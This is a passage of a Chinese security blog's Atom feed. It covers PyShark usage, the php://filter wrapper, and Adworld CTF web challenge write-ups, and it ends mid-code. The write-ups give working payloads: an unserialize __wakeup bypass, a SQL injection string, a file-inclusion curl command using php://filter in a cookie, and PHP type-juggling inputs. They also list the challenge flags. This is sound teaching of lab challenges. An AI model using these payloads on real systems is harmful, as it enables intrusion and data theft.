class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">F:\&gt;python shark.py<br>[&lt;USB Layer&gt;, &lt;USBAUDIO Layer&gt;]<br></code></pre></td></tr></table></figure><p>通过 <code>field_names</code> 属性获取具体属性名称</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python">pkt = cap[<span class="hljs-number">6</span>]<br><span class="hljs-built_in">print</span>(pkt.usbaudio.field_names)<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">F:\&gt;python shark.py<br>[<span class="hljs-string">&#x27;midi_cable_number&#x27;</span>, <span class="hljs-string">&#x27;midi_code_index&#x27;</span>, <span class="hljs-string">&#x27;midi_event&#x27;</span>]<br></code></pre></td></tr></table></figure><p>结合 Wireshark 中显示的结构，具体数据位于 <code>midi_event</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python">pkt = cap[<span class="hljs-number">6</span>]<br><span class="hljs-built_in">print</span>(pkt.usbaudio.midi_event)<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">F:\&gt;python shark.py<br>90:40:64<br></code></pre></td></tr></table></figure><p>确认与 Wireshark 显示内容相同</p><p class='item-img' data-src='/articles/usage-of-pyshark/usage-of-pyshark_04.png'><img src="/articles/usage-of-pyshark/usage-of-pyshark_04.png" alt="Wireshark"></p>]]>
    </content>
    <id>https://blog.moling.ink/articles/usage-of-pyshark/</id>
    <link href="https://blog.moling.ink/articles/usage-of-pyshark/"/>
    <published>2025-11-10T08:24:07.000Z</published>
    <summary>从零开始学习 PyShark 库的安装配置与实战应用,通过 CTF 真题演示如何使用 Python 结合 Tshark 解析 pcap/pcapng 文件、提取 TCP Payload、处理 USBAudio 等特殊数据包类型的完整流程</summary>
    <title>一文学会PyShark基本使用</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="笔记" scheme="https://blog.moling.ink/categories/%E7%AC%94%E8%AE%B0/"/>
    <category term="Web安全" scheme="https://blog.moling.ink/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="PHP" scheme="https://blog.moling.ink/tags/PHP/"/>
    <category term="文件包含" scheme="https://blog.moling.ink/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
    <content>
      <![CDATA[<h2 id="php-filter"><a href="#php-filter" class="headerlink" title="php:&#x2F;&#x2F;filter"></a>php:&#x2F;&#x2F;filter</h2><p>PHP伪协议以<code>php://filter/</code>开头，后方参数以<code>/</code>分割，主要有以下三种参数</p><ul><li><strong>resource</strong><ul><li><strong>必选参数</strong>，用于标识需要应用过滤器的数据源</li></ul></li><li><strong>read</strong><ul><li><strong>可选参数</strong>, 后接需要对数据源应用的过滤器列表，过滤器直接使用<code>|</code>分割</li></ul></li><li><strong>write</strong><ul><li><strong>可选参数</strong>, 与<code>read</code>相同</li></ul></li></ul><p>数据将从<code>resources</code>数据源中取出，经过<code>read/write</code>过滤器从前向后处理后输出</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs PHP">php:<span class="hljs-comment">//filter/read=convert.base64-encode/resource=filter.txt</span><br></code></pre></td></tr></table></figure><p>以上过滤器会将<code>filter.txt</code>中的数据通过<code>convert.base64-encode</code>Base64编码后输出</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs PHP">php:<span class="hljs-comment">//filter/read=convert.base64-encode|string.toupper/resource=filter.txt</span><br></code></pre></td></tr></table></figure><p>以上过滤器会将<code>filter.txt</code>中的数据通过编码后转换为大写输出</p><blockquote><p><strong>注意</strong><br>将Base64编码全部转换为大写会导致无法解码，此处仅做多个过滤器示例使用</p></blockquote><h2 id="过滤器列表"><a href="#过滤器列表" class="headerlink" title="过滤器列表"></a>过滤器列表</h2><h3 id="字符串过滤器"><a href="#字符串过滤器" class="headerlink" title="字符串过滤器"></a>字符串过滤器</h3><p><strong>string.rot13</strong></p><p><code>ROT13</code>是一种简易的替换式密码，应用<code>ROT13</code>密码只需要将每一个字母替换为26位字母表中向后<strong>13</strong>位的字母<br>如字母<code>A</code>将被替换为<code>N</code>，<code>B</code>替换为<code>O</code><br>由于英文字母只有26个，因此对应用过<code>ROT13</code>的文本再次应用即可还原为原始文本</p><p><strong>string.toupper</strong></p><p>将字母转换为大写</p><p><strong>string.tolower</strong></p><p>将字母转换为小写</p><p><strong>string.strip_tags</strong></p><blockquote><p>从<strong>PHP7.3.0</strong>开始，此方法已经<strong>被废弃</strong></p></blockquote><p>去除文本中的标记，如html标记<code>&lt;b&gt;</code> <code>&lt;div&gt;</code>等，PHP标记<code>&lt;?php?&gt;</code>等</p><h3 id="转换过滤器"><a href="#转换过滤器" class="headerlink" title="转换过滤器"></a>转换过滤器</h3><p><strong>convert.base64-encode(decode)</strong></p><p><code>base64-encode</code>用于Base64编码，<code>base64-decode</code>用于解码，无需赘述</p><p><strong>convert.iconv.*</strong></p><p>等效于PHP<code>iconv</code>函数，格式通常为<code>convert.iconv.&lt;from&gt;.&lt;to&gt;</code>，用于将一种编码的文本转换为另一种编码</p><h3 id="压缩过滤器"><a href="#压缩过滤器" class="headerlink" title="压缩过滤器"></a>压缩过滤器</h3><p><strong>zlib.deflate(inflate)</strong></p><p>zlib压缩(deflate)和解压(inflate)</p><p><strong>bzip2.compress(decompress)</strong></p><p>bzip2压缩(compress)和解压(decompress)</p>]]>
    </content>
    <id>https://blog.moling.ink/articles/usage-of-php-filter/</id>
    <link href="https://blog.moling.ink/articles/usage-of-php-filter/"/>
    <published>2024-11-19T18:15:16.000Z</published>
    <summary>详细总结 PHP 伪协议 php://filter 的参数结构、过滤器链使用方法及在文件包含漏洞利用中的常见技巧,涵盖字符串过滤器、转换过滤器和压缩过滤器的实战用法</summary>
    <title>PHP伪协议php://filter的使用</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="WriteUP" scheme="https://blog.moling.ink/categories/WriteUP/"/>
    <category term="CTF" scheme="https://blog.moling.ink/tags/CTF/"/>
    <category term="Web安全" scheme="https://blog.moling.ink/tags/Web%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<blockquote><p>排序方式: 新手模式 -&gt; 全部</p></blockquote><h2 id="难度1"><a href="#难度1" class="headerlink" title="难度1"></a>难度1</h2><h3 id="Training-WWW-Robots"><a href="#Training-WWW-Robots" class="headerlink" title="Training-WWW-Robots"></a>Training-WWW-Robots</h3><p>访问网站得到以下内容</p><blockquote><p>In this little training challenge, you are going to learn about the Robots_exclusion_standard.<br>The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.<br>Sometimes these files reveal the directory structure instead protecting the content from being crawled.  </p><p>Enjoy!</p></blockquote><p>题目名字和网站都提到了 <code>Robots</code></p><p>访问<code>robots.txt</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">User-agent: *<br>Disallow: /fl0g.php<br><br><br>User-agent: Yandex<br>Disallow: *<br></code></pre></td></tr></table></figure><p>得到 <code>fl0g.php</code> 文件位置，访问得到flag</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;4d4fd53177e175995c241699abc6a611&#125;<br></code></pre></td></tr></table></figure></details><h3 id="unserialize3"><a href="#unserialize3" class="headerlink" title="unserialize3"></a>unserialize3</h3><p>访问网站得到代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">xctf</span></span>&#123;<br><span class="hljs-keyword">public</span> <span class="hljs-variable">$flag</span> = <span class="hljs-string">&#x27;111&#x27;</span>;<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>&#123;<br><span class="hljs-keyword">exit</span>(<span class="hljs-string">&#x27;bad requests&#x27;</span>);<br>&#125;<br>?code=<br></code></pre></td></tr></table></figure><p><a href="https://wiki.scuctf.com/ctfwiki/web/5.unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#__wakeupcve-2016-7124">CVE-2016-7124绕过_wakeup()</a></p><blockquote><p>序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行</p></blockquote><p>PoC</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">xctf</span></span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$flag</span> = <span class="hljs-string">&#x27;111&#x27;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>&#123;<br>    <span class="hljs-keyword">exit</span>(<span class="hljs-string">&#x27;bad requests&#x27;</span>);<br>    &#125;<br>&#125;<br><span class="hljs-variable">$obj</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">xctf</span>();<br><span class="hljs-variable">$serialized</span> = <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$obj</span>);<br><span class="hljs-comment">// __wakeup绕过</span><br><span class="hljs-variable">$serialized</span> = <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">&#x27;:1:&#x27;</span>,<span class="hljs-string">&#x27;:2:&#x27;</span>, <span class="hljs-variable">$serialized</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$serialized</span>;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;8d7a6f9b7f6f600e0d8623cdb79d84b4&#125;<br></code></pre></td></tr></table></figure></details><h3 id="ics-06"><a href="#ics-06" class="headerlink" title="ics-06"></a>ics-06</h3><p>访问网站，是一个管理系统</p><p class='item-img' data-src='https://s2.loli.net/2024/11/17/fJdbtLz4FyQsWgH.jpg'><img src="https://s2.loli.net/2024/11/17/fJdbtLz4FyQsWgH.jpg" alt="adworld-web-writeups__ics-06__00.jpg"></p><p>在左边一列一个个点下去，只有<code>报表中心</code>可以访问</p><p class='item-img' data-src='https://s2.loli.net/2024/11/17/BjYo2AXRKyULdrz.jpg'><img src="https://s2.loli.net/2024/11/17/BjYo2AXRKyULdrz.jpg" alt="adworld-web-writeups__ics-06__01.jpg"></p><p>发现网址中存在<code>id</code>参数</p><p class='item-img' data-src='https://s2.loli.net/2024/11/17/XMU2OhDkyj7iT8E.jpg'><img src="https://s2.loli.net/2024/11/17/XMU2OhDkyj7iT8E.jpg" alt="adworld-web-writeups__ics-06__02.jpg"></p><p>将请求放入Burpsuite Intruder中，在<code>id</code>处放置Payload占位符，在右侧选择数值并填写<code>到(To)</code></p><p class='item-img' data-src='https://s2.loli.net/2024/11/17/srNyzUv4XfW6HDo.jpg'><img src="https://s2.loli.net/2024/11/17/srNyzUv4XfW6HDo.jpg" alt="adworld-web-writeups__ics-06__03.jpg"></p><p>扫描完成后，将结果导出为<code>csv</code>文件并导入Excel</p><p class='item-img' data-src='https://s2.loli.net/2024/11/17/uIKAzkeo5QaX41E.jpg'><img src="https://s2.loli.net/2024/11/17/uIKAzkeo5QaX41E.jpg" alt="adworld-web-writeups__ics-06__04.jpg"></p><p>筛选出长度变化最大的一个项</p><p class='item-img' data-src='https://s2.loli.net/2024/11/17/Cnip1o8VBlPaKQ4.jpg'><img src="https://s2.loli.net/2024/11/17/Cnip1o8VBlPaKQ4.jpg" alt="adworld-web-writeups__ics-06__05.jpg"></p><p>此时 <code>Payload</code> 值为 <code>2333</code>，即 <code>id=2333</code></p><p>在浏览器中访问得到flag</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;0a4e47c15cde843096b309f3f6ff9146&#125;<br></code></pre></td></tr></table></figure></details><h3 id="view-source"><a href="#view-source" class="headerlink" title="view_source"></a>view_source</h3><p>根据题目名称 <code>view_source</code> 已经题目描述知道要查看源代码</p><h4 id="查看源代码的几种方式-Edge浏览器"><a href="#查看源代码的几种方式-Edge浏览器" class="headerlink" title="查看源代码的几种方式(Edge浏览器)"></a>查看源代码的几种方式(Edge浏览器)</h4><blockquote><p>右键网页 -&gt; 检查 -&gt; 元素 (本题不可用)<br>右键网页 -&gt; 查看网页源代码 (本题不可用)<br>直接按F12<br>Ctrl+U  </p></blockquote><p>在网页注释中找到flag</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;cd9281496c84e971c42703d2f0e52373&#125;<br></code></pre></td></tr></table></figure></details><h3 id="get-post"><a href="#get-post" class="headerlink" title="get_post"></a>get_post</h3><p>答案在题干上</p><blockquote><p>请用GET方式提交一个名为a,值为1的变量</p></blockquote><p>在浏览器地址栏最后添加 <code>?a=1</code></p><blockquote><p><a href="http://61.147.171.105:62369/?a=1">http://61.147.171.105:62369/?a=1</a></p></blockquote><blockquote><p>请用GET方式提交一个名为a,值为1的变量<br>请再以POST方式随便提交一个名为b,值为2的变量</p></blockquote><p>curl发送POST请求</p><h4 id="Payload"><a href="#Payload" class="headerlink" title="Payload"></a>Payload</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">curl http://61.147.171.105:62369/?a=1 -d b=2<br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;09722afc6616551ee9f2d45cacc32588&#125;<br></code></pre></td></tr></table></figure></details><h3 id="robots"><a href="#robots" class="headerlink" title="robots"></a>robots</h3><p>和<a href="#Training-WWW-Robots">Training-WWW-Robots</a>一样，访问 <code>robots.txt</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">User-agent: *<br>Disallow: <br>Disallow: f1ag_1s_h3re.php<br></code></pre></td></tr></table></figure><p>访问 <code>f1ag_1s_h3re.php</code> 得到flag</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;bee458a1c727279c453de7791fae7fc0&#125;<br></code></pre></td></tr></table></figure></details><h3 id="backup"><a href="#backup" class="headerlink" title="backup"></a>backup</h3><p>答案在题干</p><blockquote><p>你知道index.php的备份文件名吗？</p></blockquote><p>直接访问 <code>index.php.bak</code> ( <code>bak</code> 为 <code>backup - 备份</code> 的缩写，计算机中 <code>.bak</code> 文件通常作为源文件的备份)</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">Cyberpeace&#123;855A1C4B3401294CB6604CCC98BDE334&#125;<br></code></pre></td></tr></table></figure></details><h3 id="cookie"><a href="#cookie" class="headerlink" title="cookie"></a>cookie</h3><p>答在题</p><p>访问网站，<code>F12</code> 打开 <code>DevTools</code>，打开 <code>网络</code> 选项刷新页面</p><p class='item-img' data-src='https://s2.loli.net/2024/11/18/JMpIHw759R2cEKQ.jpg'><img src="https://s2.loli.net/2024/11/18/JMpIHw759R2cEKQ.jpg" alt="adworld-web-writeups__cookie__00.jpg"></p><p>在 <code>Set-Cookie</code> 中找到 <code>cookie.php</code>，访问后提示</p><blockquote><p>See the http response</p></blockquote><p>还是在 <code>DevTools</code>，<code>响应标头</code> 中找到flag</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;2a45151382ee79c8309ee269af730093&#125;<br></code></pre></td></tr></table></figure></details><h3 id="disabled-button"><a href="#disabled-button" class="headerlink" title="disabled_button"></a>disabled_button</h3><p>都做过的题，开发者工具把 <code>disabled</code> 删除就行</p><p class='item-img' data-src='https://s2.loli.net/2025/01/02/lmB829yEVNTU6JG.jpg'><img src="https://s2.loli.net/2025/01/02/lmB829yEVNTU6JG.jpg" alt="adworld-web-writeups__disabled_button__00.jpg"></p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;d38ab1bf8e2c67c9338980f3e051f094&#125;<br></code></pre></td></tr></table></figure></details><h3 id="weak-auth"><a href="#weak-auth" class="headerlink" title="weak_auth"></a>weak_auth</h3><p>题目说随手设了个密码，那就随手输个密码</p><blockquote><p>用户名 <code>admin</code><br>密码 <code>123456</code></p></blockquote><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;edb57643d68eb9481d0d05d3d0f8537c&#125;<br></code></pre></td></tr></table></figure></details><h3 id="simple-php"><a href="#simple-php" class="headerlink" title="simple_php"></a>simple_php</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">show_source</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-keyword">include</span>(<span class="hljs-string">&quot;config.php&quot;</span>);<br><span class="hljs-variable">$a</span>=@<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;a&#x27;</span>];<br><span class="hljs-variable">$b</span>=@<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;b&#x27;</span>];<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$a</span>==<span class="hljs-number">0</span> <span class="hljs-keyword">and</span> <span class="hljs-variable">$a</span>)&#123;<br>    <span class="hljs-keyword">echo</span> <span class="hljs-variable">$flag1</span>;<br>&#125;<br><span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">is_numeric</span>(<span class="hljs-variable">$b</span>))&#123;<br>    <span class="hljs-keyword">exit</span>();<br>&#125;<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$b</span>&gt;<span class="hljs-number">1234</span>)&#123;<br>    <span class="hljs-keyword">echo</span> <span class="hljs-variable">$flag2</span>;<br>&#125;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>需要传入a和b两个参数，参数a需要满足 <code>$a==0</code> 和 <code>$a==true</code> ；参数b需要满足 <code>is_numeric($b)</code> 判断为非数值的同时 <code>$b&gt;1234</code></p><h4 id="参数a"><a href="#参数a" class="headerlink" title="参数a"></a>参数a</h4><p>首先是参数a，可能的结果只有 <code>true and true</code> 或者 <code>false and false</code></p><p>假设要让 <code>$a==0</code> 为 <code>true</code>, a的值只能为 <code>&quot;0&quot;</code>（自动类型转换为数字 <code>0</code> ），此时条件变为 <code>if(true and $a)</code></p><p>在PHP中，<code>0</code> &#x2F; <code>0.0</code> &#x2F; <code>&quot;0&quot;</code> &#x2F; <code>NULL</code> &#x2F; <code>&quot;&quot;</code>（空字符串）被认为是false，也就是说此时条件变为 <code>if(true and false)</code> ，不满足题目条件</p><p>因此应让 <code>$a</code> 的值不应为数值型字符串</p><p>在PHP的松散比较 <code>==</code> 中，非数字字符串将被转换为 <code>0</code>，因此当a的值为任意字符串时，<code>$a==0</code> 的结果将永远为true</p><p>在接下来的<code>and</code>判断中，<code>$a</code>（非空字符串）又将被视为 <code>true</code></p><p>因此参数a的值可以为任意非数值字符串</p><h4 id="参数b"><a href="#参数b" class="headerlink" title="参数b"></a>参数b</h4><p>接下来是参数b，需要在被 <code>is_numeric()</code> 函数判断为非数值的同时在数值比较中大于1234</p><p><code>is_numeric()</code> 函数用于判断一个字符串是否为数值字符串，当字符串中存在一个非数值字符串时返回false（不是数值字符串）</p><p>而PHP中的 <code>&gt;</code> 比较会将字符串从前向后找数值，遇到非数值时停止</p><p>基于以上两点，参数b的值可以为 <code>1235a</code> &#x2F; <code>123456bn</code> 等 <code>任何大于1234的数值</code> + <code>任意个非数值字符</code> 的组合</p><h4 id="Payload-1"><a href="#Payload-1" class="headerlink" title="Payload"></a>Payload</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">http://61.147.171.105:56707/?a=a&amp;b=1235n<br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">Cyberpeace&#123;647E37C7627CC3E4019EC69324F66C7C&#125;<br></code></pre></td></tr></table></figure></details><h3 id="baby-web"><a href="#baby-web" class="headerlink" title="baby_web"></a>baby_web</h3><p>答在题，一般来说网站的初始界面都是 <code>index</code> (.php&#x2F;.html&#x2F;…)</p><p>访问 <code>index.php</code>，自动跳转到 <code>1.php</code></p><p>curl访问 <code>index.php</code></p><blockquote><p>Flag is hidden!</p></blockquote><p>flag被藏起来了，添加 <code>-i</code> 显示相应头，在 <code>FLAG</code> 参数中找到flag</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">flag&#123;very_baby_web&#125;<br></code></pre></td></tr></table></figure></details><h3 id="inget"><a href="#inget" class="headerlink" title="inget"></a>inget</h3><p>又有ID又有绕过，直接盲猜SQL注入</p><p>猜测SQL语句如下</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs SQL"><span class="hljs-keyword">WHERE</span> id<span class="hljs-operator">=</span><span class="hljs-string">&#x27;$&#123;id&#125;&#x27;</span><br></code></pre></td></tr></table></figure><p>构造id值使得SQL语句变为</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs SQL"><span class="hljs-keyword">WHERE</span> id<span class="hljs-operator">=</span><span class="hljs-string">&#x27;&#x27;</span> <span class="hljs-keyword">or</span> <span class="hljs-string">&#x27;&#x27;</span><span class="hljs-operator">=</span><span class="hljs-string">&#x27;&#x27;</span><br></code></pre></td></tr></table></figure><p>即id值为 <code>&#39; or &#39;&#39;=&#39;</code></p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;d26c1723d6c25158603ffd3fb23aa235&#125;<br></code></pre></td></tr></table></figure></details><h3 id="fileinclude"><a href="#fileinclude" class="headerlink" title="fileinclude"></a>fileinclude</h3><p>访问网站</p><blockquote><p>Notice: Undefined index: language in &#x2F;var&#x2F;www&#x2F;html&#x2F;index.php on line 9<br>Please choose the language you want : English or Chinese<br>Hi,EveryOne,The flag is in flag.php</p></blockquote><p>提示flag在 <code>flag.php</code></p><p>开发者工具查看源代码，在注释里找到PHP的源代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-keyword">if</span>( !<span class="hljs-title function_ invoke__">ini_get</span>(<span class="hljs-string">&#x27;display_errors&#x27;</span>) ) &#123;<br>  <span class="hljs-title function_ invoke__">ini_set</span>(<span class="hljs-string">&#x27;display_errors&#x27;</span>, <span class="hljs-string">&#x27;On&#x27;</span>);<br>  &#125;<br><span class="hljs-title function_ invoke__">error_reporting</span>(E_ALL);<br><span class="hljs-variable">$lan</span> = <span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">&#x27;language&#x27;</span>];<br><span class="hljs-keyword">if</span>(!<span class="hljs-variable">$lan</span>)<br>&#123;<br>@<span class="hljs-title function_ invoke__">setcookie</span>(<span class="hljs-string">&quot;language&quot;</span>,<span class="hljs-string">&quot;english&quot;</span>);<br>@<span class="hljs-keyword">include</span>(<span class="hljs-string">&quot;english.php&quot;</span>);<br>&#125;<br><span class="hljs-keyword">else</span><br>&#123;<br>@<span class="hljs-keyword">include</span>(<span class="hljs-variable">$lan</span>.<span class="hljs-string">&quot;.php&quot;</span>);<br>&#125;<br><span class="hljs-variable">$x</span>=<span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-string">&#x27;index.php&#x27;</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$x</span>;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>代码从cookie中提取 <code>language</code> 字段并include</p><p>构造PHP过滤器读取flag.php内容</p><p class='item-img' data-src='https://s2.loli.net/2025/01/02/4JsSygL3TwkRtOE.jpg'><img src="https://s2.loli.net/2025/01/02/4JsSygL3TwkRtOE.jpg" alt="adworld-web-writeups__fileinclude__00.jpg"></p><p>Base64解码即可</p><h4 id="Payload-2"><a href="#Payload-2" class="headerlink" title="Payload"></a>Payload</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">curl -X GET &quot;http://ip:port/index.php&quot; -H &quot;Cookie: language=php://filter/read=convert.base64-encode/resource=flag&quot;<br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;027a5e33c7c06bdec47b24ab881186b2&#125;<br></code></pre></td></tr></table></figure></details><h3 id="fileclude"><a href="#fileclude" class="headerlink" title="fileclude"></a>fileclude</h3><p>访问网站获取源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-keyword">include</span>(<span class="hljs-string">&quot;flag.php&quot;</span>);<br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&quot;file1&quot;</span>]) &amp;&amp; <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&quot;file2&quot;</span>]))<br>&#123;<br>    <span class="hljs-variable">$file1</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&quot;file1&quot;</span>];<br>    <span class="hljs-variable">$file2</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&quot;file2&quot;</span>];<br>    <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$file1</span>) &amp;&amp; !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$file2</span>))<br>    &#123;<br>        <span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$file2</span>) === <span class="hljs-string">&quot;hello ctf&quot;</span>)<br>        &#123;<br>            <span class="hljs-keyword">include</span>(<span class="hljs-variable">$file1</span>);<br>        &#125;<br>    &#125;<br>    <span 